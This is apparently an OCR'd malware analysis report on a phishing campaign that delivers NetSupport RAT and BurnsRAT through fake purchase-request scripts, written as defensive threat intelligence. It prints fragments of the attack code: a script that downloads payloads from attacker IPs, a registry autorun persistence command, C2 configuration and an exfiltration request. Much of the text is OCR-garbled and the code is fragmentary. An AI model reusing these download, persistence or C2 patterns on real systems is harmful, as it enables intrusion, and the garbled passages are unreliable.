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Recent months have seen a surge in mailings with lookalike email attachments in the form of a ZIP archive
containing JScript scripts. The script files — disguised as requests and bids from potential customers or partners —
bear names such as “3armpoc 1ieHs! u npeyiokeHust 0T UHaMBUAYyapHOro ripearpuHuMaresisi <G O> Ha aBrycT
2024. APT-KI10005272381.js” (Request for price and proposal from sole trader <name> for August 2024. ART-
KP0005272381.js), “3anpoc npeIoKeHn# U 1ieH OT 00IecTBa C OrpaHUUYeHHON OTBETCTBEHHOCTBIO
<mpexnpusThe> Ha ceHT0pb 2024. oT3K-MH0008522309.js” (Request for proposals and prices from LLC
<company> for September 2024. Otek-mn0008522309.js), and the like.

Cp 28.08.2024 12:15 Cp 07.02.2024 14:02
C Feopriid <baak <d@yandex.ru> AK  AHHa <stu @mail.ru>
Mpowy npeanoXuTb No 3asBKe JOKYMEHTHI | 4a Bo3epar N219.zip
Ta info@ c.ru - Ta booking@ u ~
3anBKa 0T aKLMOHEPHOro oBLecTBa Ha cenTAbpe 2024-VIPT-KC0064zip AoryrenTel wa sosepat N¥19.zip
4MB 4 MB
L,06pbii AeHb, MOMHO AKTYaNbHYHO LEHY M CPOK NOCTaBKM? CMMCOK HOMEHKIATYPbI BO B/IOHEHUH. 3apaecteyiiTe! OTMeHuTe Mot GpoHb, nowanyicTa. MpuUKpenwna saaeneH1e u
MpAMaR 3akynKa. MOM JOKYMEHTBI. OKUAAI0 BOBPATA AEHEMHbIX CPE/CTE. 3apaHes, cnacubo!

LieHbl ¢ HAC? flocTaBka NoKa He HyMXHa. CKOpee Boero, cami 3abupats Gyaem.

Bes cepTuMKaTOB (MK OTKasHbIX NUcem) - ToBap NPHHMMaTLCA He ByaeT. HKeenua
Mo pacnopAXeHu1Io PYKOBOACTEA, MALLWHBI He Gy aAyT AOMNYCHATLCA Ha TEPPUTOPMID. OTnpasneHo 13 MouTel Mail.ru

EC/IM B 3AMPOCE YKA3AH KOHKPETHbIIA MPOW3BOAWTENL, MPOCLEA NPEAMOMATE MPOAYKLMIO
WMMEHHO 3TOTO NPOM3BOANTENA (3A MCKAKIYEHWMEM, ECNM NOCTABLLWMK AW NMPOW3BOAMTENL
OTCYTCTBYET HA PbIHKE P®)

Befy Wi CeumanicT oTAena 3akynok
Feoprmii

baak d@yandex.ru

Examples of malicious emails

According to our telemetry, the campaign began around March 2023 and hit more than a thousand private users,
retailers and service businesses located primarily in Russia. We dubbed this campaign Horns&Hooves, after a

fictitious organization set up by swindlers in the Soviet comedy novel The Golden Calf.

Statistics

Number of users who encountered the malicious script, by month, March 2023 — September 2024 (download)

Malicious scripts

During the campaign, the threat actors made some major changes to the script, while keeping the same distribution

2

method. In almost all cases, a JS script named “3asiBka Ha 3akyriKy...” (“Purchase request...”), “3amnpoc 1eH...”
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(“Request for quote...”), or similar was sent in a ZIP archive. Far more rarely, the scripts were called “Akr

2»

cBepkH...” (“Reconciliation statement...”), “3asiBneHre Ha BO3Bpar...

2»

(“Request for refund...”), “JocynebHas
mipeten3wst...” (“Letter of claim...”) or just “IIperen3us...” (“Claim...”). The earliest versions that we

encountered in April and May used scripts with the HTA extension instead of JS scripts.

For believability, besides the script, the attackers sometimes added to the archive various documents related to the
organization or individual being impersonated. For example, an archive attached to a booking cancellation email
contained a PDF file with a copy of a passport; while price request emails had extracts from the Russian Unified
State Register of Legal Entities, certificates of tax registration and company cards in attachment. Below, we

examine several versions of the scripts used in this campaign.

@Eblnucxa ErPHIN. pof

EEHEKE Ha 3akynky ot 000 MN25.js
@HPHKE?- NE 1. pdf

@= Pexenzurel 000 (1).docx
@CEM,&,-ED o rocys-ci per-uu.pdf

@CEM,&,-ED 0 NOCTaHOBKE HA yueT.pdf

@FCTEE HoebIA. pdf

Typical archive contents

Version A (HTA)

Some of the first sample scripts we saw in April and early May 2023 were relatively small in size. As an example,
we analyzed a sample with the MD5 hash sum 327a1f32572b4606ae19085769042e51.
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=>0ne S5imple HTA Application File

APPLICATIONNAME = "Or

RIPT LANGUAC
Window.

Shell.Run "cmd /¢

Window.Close

First version of the malicious script in attachment

When run, the script downloads a decoy document from https://www.linkpicture[.]Jcom/q/1_1657.png in the form
of a PNG image, which it then shows to the user. In this case, the image looks like a screenshot of a table listing

items for purchase. It may have been taken from a previously infected machine.
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Ne i Enminua Ofbem
in[* HemMep sarBkn « | Koo MTP 8 ACY HCH [« HawmeroBaHwe NpoayKkUKMM ANA 3aKynKn - CocT, - OnpocHbiA nWCT iomeperns || sasern [
1 2102665550 3072247 4054002 Knewwm ona obxuma L ]
2 2102665551 3052148 AS CyMKa LNA MHCTPYMEHTOB HEYKOMNNEKToBaHaR, 1wT LT 13
3 2102665552 345473 3F 35x7,5MM LT 2
4 2102665553 2422529 R500 DNDB0 600x105mMm LT 2
5 2102665554 345474 fiKa STIED 6 35x15MM LT 2
[£ 2102641022 4707585 #Ka nepdopuposantas 35x7,5%x2000mm YXN1 LT B
7 2102665201 345105 Q%T_I:Ey;‘pa CBETOCMrHaNsHan AD-22D5, HanpmxeHue 2308, user wr 5
8 2102665203 345106 »;lg‘_luea'_gga CBETOCWMrHansHan AD-22D5, Hanpawerue 2308, user wT 5
a 2102665205 345107 ﬁg:;gga CBETOCMrHansHaA AD-22D5, HanpaweHue 2308, uset wT 5
o 2102665235 1011569 Bura 100mm 3y6p 26011-2-100-1 LT B
T 7102665237 1394068 Bya Bum Krafiool 2639608 B
2 2102665260 2784882 Bura HEX4 25mm LT 12
2102665262 2784885 buta HEXE 25MM LT 2
2102665264 2783571 Bura HEXE 50mmM LT 2
2102665238 3051508 Buta PH2 127mmM Whirlpower 962-22-1272 LT 7
16 2102665266 1066504 Egaisa;(ﬁ;oﬂ 3B14-10 6ram2, |=10A, KONMYECTBO 33MMMOB wT 73
17 2102665268 988323 Egﬁgsamwmoﬂ 3BM-3 2.5mm2, |=3A, konuyecTBO 3amnmMos 12wT, wT 23
18 2102665290 1027782 Egﬂgsamwmoa JBM-5 4mm2, |=5A, konu4ecTeo 3araMos 12wT, wT 23
19 2102665292 1014344 Brok KoHTakTHbIA LAEN22 LT 5
20 2102641057 1067485 Enok nuTaHwua QO- 1017877 T 2
2 2102713029 1017877 Bk nvTanms EARADAY 75W/12-24V/140AL TEIC oL TP IC W 1
Enok nnacTiH-wHankaTopos C kabenem MK3L 4x0,75 L=4m,
2 2102638754 2779381 komM4eCTBO NPoBOACE B MMHWK 4, 683 KneMMHOR kopobkn wr o
Enok penedHon 3awmuTel Cupayc-2-QMI]-5A-2208-U1,
23 2102641021 2307188 hanprxenie 22068 wT 1
24 2102642485 2375499 Habueka KH-HI-C-M1-AH-0-10x10 QTI-83.140.01-KTH-142- 16 Kl 45
5 2102638811 987210 FioCuncs MC 101 Buan miorocnofnoe nnerer e TY 2573-003- TY 2573-003-56508564-03 KT 10
26 2102665436 1051363 Habop 6wt Bosch 2607001464 LT 4
27 2102605205 2943506 Habop 6uT u ceepn Bosch 2607017195 LT 38
28 2102605207 1014187 Habop 6ypos Basch 2607019927 LT 6
29 2102713081 4759469 Habop 6ypos Matrix MX-71099 3
0 2102404703 1823030 Habop 6ypos 3ykop 10995 LT 34
1 2102665200 1265568 Habop ronceok Force 2741 LLIT 16
2 2102642487 854643 Habop ronceox Kraffogl 27888-H108 LT 3
2102404736 735377 Habop ronceok Apceran 4139290 LLIT 20
2102438527 731503 Habop ronceok TopueBblx Stayer 27752-H21 LT 10
2102700751 014992 Habop usonuposaHHore nHcrpymeHTa KBT HWUW-08 LT 54
2102700933 7305 Habop uHCTpyMeHTa ana 3X3 Ha 30 eanHuy LT 12
2102665204 30189 Habop MHCTpYMEHTa kabenbumka Qn-3018918 LT 4
8 2102642488 293055 Habop WHCTPYMEHTE KaBenhUMKa-cnanunKa Qn-2930553 LT 2
9 2102404586 1765241 Habop wHcTpyMenTa kabennumka-cnafuixa Keasap Ne3A LT i
0 2102404587 2787316 Habop MHCTPYMEHTa RENSHMKR Qn-2787316 LT 12
1 2102713084 1022701 Habop wHcTpyMenTa penedwmka P3A-Y LT 2
2 2102734182 1298100 Habop MHCTPYMEHTOB QM- 1298100 LT 1
3 2102665161 3018628 Habop uHcTpyMenTos Kraftog! 2?978 H59 LT 18
14 2102700983 4054939 Habop MHCTPYMEHTOB LLIT ]
5 2102734183 1064495 Habop wHcTpyMenTos Keasap rgut«jz; QJ1- 1064495 LT 3

Decoy document in PNG format

Note that PNG decoy documents are rather unconventional. Usually, bids and requests that are used to distract

user attention from malware are distributed in office formats such as DOCX, XSLX, PDF and others. The most

likely reason for using PNG is that in the very first versions the attackers hid the payload at the end of the bait file.

PNG images make convenient containers because they continue to display correctly even after the payload is

added.

To download the decoy document, the attackers use the curl utility, which comes preinstalled on devices with

Windows 10 (build 17063 and higher). Together with the document, using another built-in Windows utility,

bitsadmin, the script downloads and runs the BAT file bat_install.bat to install the main payload. The script also

makes use of bitsadmin for managing file transfer tasks.
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' /priority HIGH http

111

Snippet of the BAT script that installs the payload

Using bitsadmin, the BAT script first downloads from the attackers’ address hxxps://golden-scalen[,]com/files/,

and then installs, the following files:

File name Description

AudioCapture.dll NetSupport Audio Capture

client32.exe NetSupport client named CrossTec

client32.ini Configuration file

HTCTL32.DLL NetSupport utility for HTTP data transfer

msvcr100.dil Microsoft C runtime library

nskbfltr.inf Windows Driver Frameworks configuration file for installing additional drivers
NSM.LIC NetSupport license file

nsm_vpro.ini Additional NSM settings
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pcicapi.dll
PCICHEK.DLL
PCICL32.DLL
remcmdstub.exe

TCCTL32.DLL

To download the required file, bat_install.bat appends its name to the end of the URL. The script saves the
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pcicapi file from the NetSupport Manager package
CrossTec VueAlert PCIChek

NetSupport client as a DLL

CrossTec remote command line

NetSupport utility for TCP data transfer

downloaded files to the user directory %APPDATA%\VCRuntineSync.

The payload is the legitimate NetSupport Manager (NSM) tool for remote PC management. This software is often
used in corporate environments for technical support, employee training and workstation management. However,
due to its capabilities, it is regularly exploited by all kinds of cybergangs. The versions and modifications of this

software seen in cyberattacks and providing a stealth run mode have been dubbed NetSupport RAT.

Most often, NetSupport RAT infiltrates the system through scam websites and fake browser updates. In December

2023, we posted a report on one such campaign that installed NetSupport RAT under the guise of a browser update

after the user visited a compromised website.

After the file download, the bat_install.bat script runs the client32.exe file and adds it to the startup list.

start /B cmd /C "start client32.exe & exit"

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v

"VCRuntineSync" /t REG_SZ /d '%APPDATA%\VCRuntineSync\client32.exe' /f

And, in case the HTA script failed, the BAT script attempts to download and run the bait file.

When NetSupport RAT is run, it establishes a connection to one of the attackers’ servers set in the client32.ini

configuration file: the main one, xoomep1[,]com:1935, or the backup one, xoomep2[.]com:1935.
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[Bridge]
LoadOnStartup=1
Modem=PPTP

bridge.psw

CMPI=60
GatewayAddress=xoomepl.com:1935
GS5K=GF<MABEF9G?ABBEDHG: H
Port=1935
SecondaryGateway=xoomep2.com:1935
SecondaryPort=1935

The client32.ini configuration file

NetSupport RAT
configuration file

and components
PNG decoy

document

A4 b % “ k2] = % ’@

Phishing  Attachment.zip N BAT script 7 :
email . ) P |D
Office documents
and HTA script

Version A infection chain
Version B (JS + NSM)

A bit later, in mid-May 2023, there appeared versions of the script mimicking legitimate JS files.
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JS version of the malicious script in attachment

The code of this script contains a comment from the publicly available JavaScript library Next.js with license and
copyright information. This way, the attackers try to make the code appear legitimate. We also see how they added

malicious code to the middle of the file that a cursory inspection would miss, but still got executed at runtime.

In terms of functionality, the JS versions of the script are virtually the same as the HTA ones. They too show a
decoy document and install NetSupport RAT. But there are some differences. For example, the script with the hash
sum b3bde532cfbb95c567c069ca5f90652¢, which we found under the filename ” gocynebHast mpeTeH3us OT
18.05.2023 Ne5 ot kommnaanu 000 <HA3BAHUE_KOMITAHUW>.js ” (“Letter of claim No. 5, dated May 18,
2023, from LLC <company>.js”), first downloads an intermediate JS script from the address
hxxp://188[.]227[.]58[.]243/pretencia/www.php.
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Second script contents

This second script downloads two more files: the decoy document zayavka.txt and the NetSupport RAT installer
installer_bat_vbs.bat. Like PNG images, decoy documents in TXT format are not standard practice. And with this
version, the files contain generated text in Russian that is meaningless and repeated several times, using different

characters that look vaguely Cyrillic. They would appear to be the first tests of the new bait file format.
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| zayavka.txt - Notepad — O >
File Edit Fu:urr'nat Yiew Help

CHD nmo sy yguy o4 EEU L] CE‘H:P-UHE‘C‘UU :Jé: EE e EY x n o TU = o E'u':-ﬂu
ACHSETE Halidn AS3udUl SuésBufnd: démdriTudédkun pa3655 shdiivuk nisTussdsuctsn
=apud =N M m g esW U T DT o HoMU guecxold JE.‘IECEEé s*rocTH npl pl wag e o ew e U
BaHuu Hanpamyid 3d8ucuT OT 3KOHOMUYECKOU UénécadbpashocTu npudiumdémux peliéu
= = UpTepaETY mp & npoTOoTY N u pp ced ErR DCTamTC EOoM .1'-Iée IN0CBE 3 EOTO =
&: UNTEPAKTUBHLE NPOTOTUNW U No céu ASHE OETaWTERa yvASndm AUGEPANOE, "KOTopuE
fgecHoc, Hawep HUEHMHH UHEthHH: EEMEHTHHEEkHH Paggop hHewHHx HFUTHhﬂﬂEﬁcThH

C [n]

ep“MeHTubn nupaxammnx ne cbueH MachaﬁHucTH M FFHHHHD3HDCTH'HMEETCH n pHaH
AcHocTe Hawel NozMuMM odebupHa: ceMlaHTHYecknid pa3zBop bHewHux npeTUbogedcThMiA nosz
a4 poeflb knodebbi ¢akTrpub. C ppvroi cTopabbl, vkpennzHue W pa3bUTH bHyTpeHHeR «Tpvk
qowvedoukady xuooIHEHH W xwooldHulaydel asadeed 2 oHAvaluhoivyow wHadlolooed
oHDOVIAES=: — MmM2D asHhuioudy BH BEvIEs Muxa9D axojel e ‘uvnueou oueesoduddod ¢
AeHBEFb—HalER-NB3MHHKH-DHEBHAHA+ —CEMaHFHUYREKHIR—Da3BBP - BHEMHHUX—NPOFTHBOAERETEHM
NE3HHHEHHEX - EEAREOBaHHR—HaRPAMYIE— 3 3BHERT-0F-JKOHOMHYE EKOR-Lle AR co0BPaIHOETH
BHEaA-TOUYKa-2PEHHAT—T ASCAEA-NPHMEPHE —CASEYIEHES - —MHTFEPaKTHBHEE —NPeFOFHAE-—N—N
ACHECTL Hawed, NO3uuUMY OYEeBMaHR :  ceMayTHYecKuid, pa30op, BHEWHMX NPOTHEQOeHCTRY
QRMZOMTY ANA KNacTepu3guuwy ycuiwi, MNoscedyeBHas DPIKIVK] NOKA3LIBAeT, HTQ CNl
| T_ZKOHQMMYECKOH, Ueecoolpa3yosTH NEUHIMASHLY DeUSHU. A SUE 30EMEHTY NOIUTY
eMNSHUM NOBHICHTL Ka4eCTBO XWM3HM, ouu_3abpsawWT, 4TO_BLICOKQKaYeCTBEHHLIA NpoTo
g;ggrgﬂ=ynenqm Nubepanos, KOTQpbe XaxayT 6 WI? gagcmnngHm Mgggmqggeggu?
Achotie HémEﬁ nA3HEHA 55 a&’ MHHa'*EE B Al SERT pas upw"ﬁETmﬁﬁ'wk nﬁ
‘SofTo mhA | kRS TEFHES S y AT . HEEEEﬁﬁEéHﬁﬁ npakTiora Und kadhasEs!
& Wﬁﬁﬁqééﬁoﬁ;hgﬁéé'ﬁ'ﬁﬁ'ﬁéiﬁégfﬁ ﬁﬁHHHH'a eﬁmf PENERART A eliB SAEREATY
HCHTE kATEETE0 wirsMa, o0 W 2 56 sBaldT . 410 BLCOROKAGETTES

£

'U

=

al

LW
:HMI

B
OB

Decoy document with meaningless text

After downloading the files, the www.php script opens the text document and runs the NetSupport RAT installer,
which it saves with the name BLD.bat. To download the NetSupport components, the script uses the same path as

version A: hxxps://golden-scalen[,]com/files/. Unlike the previous version, this script downloads the files to the

%APPDATA%\EdgeCriticalUpdateService directory. Correspondingly, the autorun registry key used by this
version is named EdgeCriticalUpdateService. Also, the BLD.bat file contains no redundant code for re-

downloading the bait file.
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NetSupport RAT
configuration file
and components

TXT decoy
document

~ B
] @I — | — &2 4’ >— %@

Phishing Attachment.zip N lnzesr?;?lite BAT script ‘
email . _ P " ID

Office documents
and JS script

Version B infection chain

Version C (JS + BurnsRAT)

Another interesting sample we found in mid-May had the name ” 3asiBka Ha 3akyrnky Nel13 oT KommaHuu
<HA3BAHUME_KOMITAHWNN> nHa maii 2023 roga.js ” (“procurement request No. 113 from <company> for May
2023.js”) and the MD5 hash sum 5f4284115ab9641f1532bb64b650aad6.

Fully obfuscated version of the malicious script

Here, we also see a comment with license and copyright information about the Next.js library, but there is nothing

left of the library source code. The malicious code itself is more heavily obfuscated, and the link to the
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= new ActiveXObject("microsoft.xmlhttp");

__"I'_iE_", rls, .-.'-7;.];

.readyState = 4)

adodb = new ActiveXObject("adodb.stream"
dodb.type = 1;
db.open( };
.write{http.ResponseBody};
["savetofile"]{"c:\\Users\\Public

(e) {}

s2 = "http://1BB.227.106.124/test/js/1.]572146606";

new ActiveXObject("microsoft.xmlhttp");

("GET", urls2, false);

.readyState = 4)

dodh = new ActiveXObject("adodb.
.type = 1;

.open( };
.write{http.ResponseBody};
["savetofile®”]("c:\'\programdata

(e) {}

= "http://188.227.106.124/test/js/zayavka. txt?557842";

ADB9-00CO4FD58A0B}" ) ;

ADB9-00C04FD58A0B}");

Second script contents
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In this version, the intermediate script downloads three more files: the decoy document zayavka.txt, the payload
BLD.exe, and the auxiliary script 1.js. The decoy document in this instance looks more meaningful, and is likely

the result of a screenshot-to-text conversion.

" zayavka.txt - Notepad - O X

File Edit Format VWiew Help

:F n/n  HawmeHoeaHwe npogykuww [OCT, T¥, OCT, onpocHud nWcT W np. Ea. wzm. Kon ~

1 Bapaban Ricoh BO399518 BO399518 wT 8

2 Kaptpugx Ricoh SPASGEHE 4epHwd SPASBGOHE wT 2

3 bnok ¢oTobapabana Ricoh D1272212 wT 26

4 Porobapaban Ricoh SP4565 wT 2

5 bnok tpoTobapabada Ricoh D1272212 wT 19

6 bapaban Ricoh 411844 411844 wr 3

7 bapaban Ricoh B&399518 BE395516 wT 1

8 bnok Bapabana Ricoh DBA42611 Dasd2e11 wT 4

9 bnok doTobapabana Ricoh D1272212 wT 4

10 bapaban Ricoh B@399518 BE395516 wT 2

11 Kaptpugx Ricoh SPASGOHE qepuwin SPASEGBHE wT 3

12 Porobapaban Ricoh 385PMeG wT 2

13 bapaban Rlcoh D197951@ D197951@ wT 3

14 Pakene Ricoh AD@41161  AD@dllel wT 3

15 Ban nepenoca Ricoh D12738@2 01273882 wT 2

16 bnok Bapabana Ricoh D127211@ DL272110 wT 2

17 MnactuHa HanpasnAamwas Ricoh D1274163 wT 2

18 Ponuk =zaxeaTta Ricoh BB392740 B©392740 wT 2

19 bnok toTobapabana Ricoh D8692223 D8692223 wT 2

28 Yzen nonadd Ricoh DeB62266 wT 18

21 Bapaban Ricoh D1979518 D1979518 wT 5

22 Pakens Ricoh AD®41161  ADed11el wT 5

23 Frme horafanafana Ricakh N12722172 inT 18 -

< >
Ln1,Col 1 100%  Unix (LF) UTF-8with BOM

Decoy document

Having loaded the files, the www.php script opens the decoy document and runs the 1.js file, which in turn
launches the BLD.exe file.

What’s most striking about this instance is the payload.

BLD.exe (MD5: 20014b80a139ed256621b9c0ac4d7076) is an NSIS installer that creates a Silverlight.7z archive
in the %PROGRAMDATA %\Usoris\LastVersion folder and extracts several files from it:

File name Description

libeay32.dll OpenSSL shared library

msimg32.dll Malicious loader

settings.dat RMS configuration file

Silverlight.Configuration.exe Legitimate Microsoft Silverlight Configuration Utility
ssleay32.dll OpenSSL shared library

Page 13 of 23


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/11/29165501/NetSupport_RAT_15.png
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/11/29165501/NetSupport_RAT_15.png
https://opentip.kaspersky.com/20014b80a139ed256621b9c0ac4d7076/?icid=kl-ru_OpenTIP_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______cabda04ab96d8a91&utm_source=SL&utm_medium=SL&utm_campaign=SL

https://securelist.com /horns-n-hooves-campaign-delivering-netsupport-rat/114740/

w32.dat Archive with RDP Wrapper x32
wb64.dat Archive with RDP Wrapper x64
WUDFHost.exe Remote Manipulator System

The next step is to run the legitimate Silverlight.Configuration.exe file. When launched, it loads the dynamic
libraries (DLLs) that the program needs, using a relative path. This opens the door to a DLL side-loading attack:
the malicious msimg32.dll library and the utility are placed in the same directory, which results in the malicious
program being loaded and gaining control instead of the system library. Although the backdoor supports
commands for remotely downloading and running files, as well as various methods of executing commands via
the Windows command line, the main task of this component is to start the Remote Manipulator System (RMS) as

a service and send the RMS session ID to the attackers’ server.

svchost.exe -k "WUDFHostController" -sver "WUDFHost.exe"

On top of that, msimg32.dll sends information about the computer to the server hxxp://193[.]142[.]132[.]138/api/.

POST /api/ HTTP/1.1

Content-Length: 39527

Content-Type: multipart/form-data; boundary=-------—- 1459411774
User-Agent: Mozilla/5.8 (Windows NT 18.8) Firefox/78.@

Host: 193.42.32.138

Connection: Close

Cache-Control: no-cache

—————————— 1469411774
Content-Disposition: form-data; name="upload”
Content-Type: text/plain
Content-Transfer-Encoding: binary

g--~B....=5.]..... = ol 0 o e Jno] o i o diE P E 5 0 550 ol e 0 oo o jalE=i o oo ot oo

....... h...2Q.c..@zI.....T..t..{.B...5.Reuruuu..t. Buus. ... .B8.K.3.2.2 [.U.u
..... L J DR

W....8

 FO £.18..[..IDXI....8.Cdu{uuunnn. Feveun. P26V e senannnns Ve Y aans
<Terun, D eans 5097.1.1....]..n...0.7.<.8....\<71.gFI%...... Foruens Yholeus B.G.-
87.."s.qWz.SUax.I.L6&p.c..7.M[wx. ..."...

d{..k.0.H..n.yW.F&. . J....... Kevrnn. ML g...d...E..P>....P

Outgoing request to the server

The sent data is encrypted using the RC4 algorithm with the Host value as the key, which in this case is the IP
address of the server, 193.42.32[.]138.
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System information sent by the library

RMS is an application that allows users to interact with remote systems over a network. It provides the ability to
manage the desktop, execute commands, transfer files and exchange data between devices located in different
geographic locations. Typically, RMS uses encryption technologies to protect data and can run on a variety of

operating systems. The RMS build distributed by the attackers is also called BurnsRAT.

RMS has support for connecting to a remote computer via Remote Desktop Protocol (RDP), so besides the
application itself and files for running it, the NSIS installer saves to the device the w32.dat and w64.dat archives,

which contain a set of libraries created using RDP Wrapper to activate additional RDP features.

RDP Wrapper is a program for activating remote desktop features in Windows versions that do not support them

by default, such as Windows Home; it also allows multiple users to connect to one system simultaneously.

At its core, RMS is a close analog of NetSupport, but the RMS payload did not gain traction.

BurnsRAT
TXT decoy and other
document components

Iy

B ™
N~ % * ol K72 Bammd K922 [ﬁﬁ] ™ (S_Bl

Intermediate BurnsRAT

Phishin Attachment.zi ~
email ¢ i | JS script N nstaller : |D
“1</>
Office documents ] )
and JS script JS script for running
the installer

BurnsRAT infection chain

Version D (JS + Hosted NSM ZIP)

A few more characteristic changes in the scripts caught our eye in late May 2023. Let’s examine them using a file
named “purchase request from LLC <company> No. 3.js” with hash sum 63647520b36144e31fb8ad7dd10e3d21
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as an example. The initial script itself is very similar to version B and differs only in the link to the second script,
hxxp://45[.1133[.116].]1135/zayavka/www.php. But unlike version B, the BAT file for installing NetSupport RAT

has been completely rewritten.

iindowStyle hi

-Seconds 3; 3
9 -w |

BAT script contents

In this version, it is located at hxxp://45[.]1133[.]16[.]135/zayavka/666.bat, and to install NetSupport it downloads

an intermediate PowerShell script hxxp://45[.]1133[.]16[.]135/zayavka/1.yay, which in turn downloads and

unpacks the NetSupport RAT archive from hxxp:/golden-scalen[,]Jcom/ngg_cl.zip. The contents of the archive are

identical in every way to the NetSupport version installed by the version B script.

maximum °©

Object

PowerShell script contents

NetSupport RAT
TXT decoy configuration file
document and components

B (%]
¥ e @B B = e 8
Attachment zip

Phishing Intermediate Intermediate PowerShell script —  ZIP archive with
email JS script BAT script NetSupport RAT ~ NetSupport RAT
installer | !
Office documents
and JS script

Version D infection chain

Version E (JS + Embedded NSM ZIP)
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The next notable, but less fundamental changes appeared in June 2023. Instead of downloading the encoded ZIP
archive with NetSupport RAT, the attackers began placing it inside the script. This caused the script to increase in

size. In addition, the comment in the file header was replaced with one from the Backbone.js library.

Html_Style
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Snippet of the third version of the script

Starting around September 2023, the NetSupport RAT files were split into two archives; and since February 2024,
instead of text bait files, the attackers have been striving for greater plausibility by using PDF documents which

were also contained in the script code.

AABKA HA JAKVIIKY TMI| N OT 26 wponia 20241,

S KT1¥TC
Tipoescr = Bunamiesie (a7 i Texymjesy DTy DFeKTa FpHOD NaIuEi
Bud patioms: Pesaremiaie patomia

Aapec nocramn : 1. Macssa, yr. Coknacec-Meuepers, 3 31

p sasmon: Hepnorys TLE.

[—

Byucr Hansaesonume npogyksmn Tumapxa Kavwo | g | PO o Hewa cywa
lAnc
iy C2000-M nen 02 1 wr [T
¢ muanua (PHIL-12-3117111-P-RS) PULL-L 1 1 e [
a AskywynaTop 12 B, 17 A ( AB 1217 C) cpok cywbe 12 teT( Tun C} AB 1217 C 1 T [
a Kowtpoisso-nycsosai Gnos C2000-KIIE 1 e b0 F
o O AHOM opeeii C2000-K/11-2H wen 01 1 e 00
Pasuu BPHIT 4 [ [
? e 3 anenaTe ANN-34A-04 ] i [
4 i MIIP 513-3AM 14 wr 00 B
a Kooy /18 Sa0yTit nsapris nase 01 MEaHIEC K RpEA R Koy sauyprmasti s JHIT [ ure [
 [KaBean aus cucrem OTIC u COY o e i ropesim, 5 4 L2, 75, TY 3581-007-77752576- KIICIMI(A) FRLSLTX 50 - .
" ::II!JI:\.JF ‘arHeCToli He pACTpOCTRaHAOURHE OPEHHE 3515 MM, C HIEKIM JuIM0 B PAsDEYIEneHen, TY 27 52.13-006- BB} FRLSLTx 10 N .
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1 |Kopofisa orsectofan 4 o/n 40-021 - | e 000 ¥
1 KaBensssli Karan ¢ gnofise 3am 25x16 % e [
T FIRESTOP 65 " J0HH 1 [ [
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Version E decoy document
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Phishing ~ Attachment.zip N

email , E , @ , |B
Office documents Decoy document and several NetSupport RAT

and JS script ZIP archives with NetSupport configuration file
RAT extracted from the script ~ and components

Version E infection chain

Attribution

All NetSupport RAT builds detected in the campaign contained one of three license files with the following

parameters:
licensee=HANEYMANEY
File 1
serial no=NSM385736
licensee=DCVTTTUUEEW23
File 2
serial no=NSM896597
licensee=DERTERT
File 3

serial no=NSM386098

21

; NetSupport License File.
; Generated on @

Support License File

on 14:45

[[Enforce]]

[[Enforce]] [[Enforce]]

[_License] [ License]

1_only=0 ontrol_only=0

0
DERTERT
=100000

=10

transport=0

License files
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These license files were also used in various other unrelated campaigns. For instance, they’ve been seen in
mailings targeting users from other countries, such as Germany. And they’ve cropped up in NetSupport RAT
builds linked to the TA569 group (also known as Mustard Tempest or Gold Prelude). Note that licenses belonging
to HANEYMANEY and DCVTTTUUEEW?23 featured in the Horns&Hooves campaign for a short span before
being completely dislodged by a license issued in the name of DERTERT three months later.

HANEYMANEY DCVTTTUUEEW23 DERTERT

Date of creation in the comment in the file 2022.07.17 2014.03.29 2017.07.26
Date from the file attributes in the archive 2022.07.17 2023.03.29 2022.07.26
Observed as part of the campaign 2023.04.17 2023.05.28 2023.07.09

The fact that Horns&Hooves uses the same licenses as TA569 led us to suspect a possible connection between the
two. That said, because license files alone are insufficient to attribute malicious activity to TA569, we decided to
look for other similarities. And so we compared the various configuration files that featured in the Horns&Hooves
campaign and those used by TA569 — and found them to be near identical. As an example, let’s consider the
Horns&Hooves configuration file (edfb8d26fa34436f2e92d5be1cb5901b) and the known configuration file of the
TA569 group (67677c815070ca2e3ebd57a6adb58d2e).
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Sysfray=0
UnloadMirrorCnDisconnect=0]
Usernames=*
Validfddresses.,TCP=*

[ Info]

Filename=C:“\Program
Files\HNetSupport'\HetSupport
Manager\client32.ini

[ License]
gquiet=1

[Auadio]
DisablefudioFilter=1
Threshold=48

[Bridge]
LoadCnStartup=1
Modem=FFTF
FasswordFile=C:%“Program
Files\NetSupporthHetSupport
Manageribridge.psw
Protocol=0

[General]
BeepUsingSpeaker=0

[HTTE]
CMPI=60

Gatewaybhddress=xoomepl.com: 1935

GSE=GF<MABEFSG7ABEBEDHG:H
Bort=1935

SecondaryGateway=xoomep2 . com: 1935

SecondaryFort=1935

Sysfray=0
UnloadMirrorCnbDisconnect=0
Usernames=*
Validhddresses.TCP=*

[ Info]

Filename=C:\Program
Files'\NetSupport\NetSupport
Managerhclient32.ini

[ License]
gquiet=1

[Audio]
DisablefudioFilter=1
Threshold=48

[Bridge]

LoadOnStartup=1
Modem=FPFTFE
PasswordFile=C:\Program
Files\HetSupport\NetSupport
Manager‘bridge.psw
Frotocol=0

[General]
BeeplUsingSpeaker=0

[HTTE]
CMPI=60

Gatewayhddress=shetrnl.com:5511

GSE=GF<MABEF9G?LBEEDHG:H
Port=5511

SecondaryGateway—shetrnZ.com: 5511

SecondaryPort=5s511

Comparing the Horns&Hooves and TA569 configuration files

As we can see, everything matches except the domains and ports. The Gateway Security Key (GSK) field
warrants special attention. The fact that the values match indicates that the attackers use the same security key to

access the NetSupport client. And this means that the C2 operators in both cases most likely belong to TA569.

We checked if the key GSK=GF<MABEF9G?ABBEDHG:H had been seen in other campaigns that could not be
attributed to either Horns&Hooves or TA569, and found none. Besides this key, we encountered another value in
the Horns&Hooves campaign, GSK=FM:N?JDCIA=DAEFG9H<L>M,; and in later versions there appeared one
more version of the key, which was set with the parameter SecurityKey2=dgAAAI4dtZzXVyBIGlsJn859nBYA.

What happens after RMS or NetSupport RAT is installed

The installation of BurnsRAT or NetSupport RAT is only an intermediate link in the attack chain, giving remote
access to the computer. In a number of cases, we observed attempts to use NetSupport RAT to install stealers such
as Rhadamanthys and Meduza. However, TA569 generally sells access to infected computers to other groups, for

example, to install ransomware Trojans.
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But it’s possible that the attackers may collect various documents and email addresses to further develop the

